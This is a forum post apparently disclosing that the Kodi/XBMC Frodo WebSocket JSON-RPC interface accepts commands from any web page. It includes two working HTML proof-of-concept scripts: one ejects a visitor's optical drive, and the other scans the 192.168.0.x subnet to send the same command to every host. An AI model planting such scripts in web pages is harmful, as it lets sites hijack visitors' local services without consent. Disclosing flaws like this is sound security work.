I was a bit surprised by the lack of security features implemented in relation to Websockets and JSON-RPC, seems almost too easy to boobytrap a website.
Example:
Or if there's a media center with remote access enabled, lets scan the network.
Tested with Windows and Frodo RC3.
Example:
Code:
<html>
<script language="javascript" type="text/javascript">
var websocket = new WebSocket('ws://127.0.0.1:9090/jsonrpc');
websocket.onopen = function(evt) { websocket.send('{"jsonrpc": "2.0", "method": "System.EjectOpticalDrive"}') };
</script>
</html>Or if there's a media center with remote access enabled, lets scan the network.
Code:
<html>
<script language="javascript" type="text/javascript">
var local_ips = '192.168.0.';
function tryport(i) {
console.log('trying ' + i)
var websocket = new WebSocket('ws://' + local_ips + i + ':9090/jsonrpc');
websocket.onopen = function(evt) { websocket.send('{"jsonrpc": "2.0", "method": "System.EjectOpticalDrive"}') };
}
for (var i=1; i<256; i++) {
tryport(i);
};
</script>
</html>Tested with Windows and Frodo RC3.
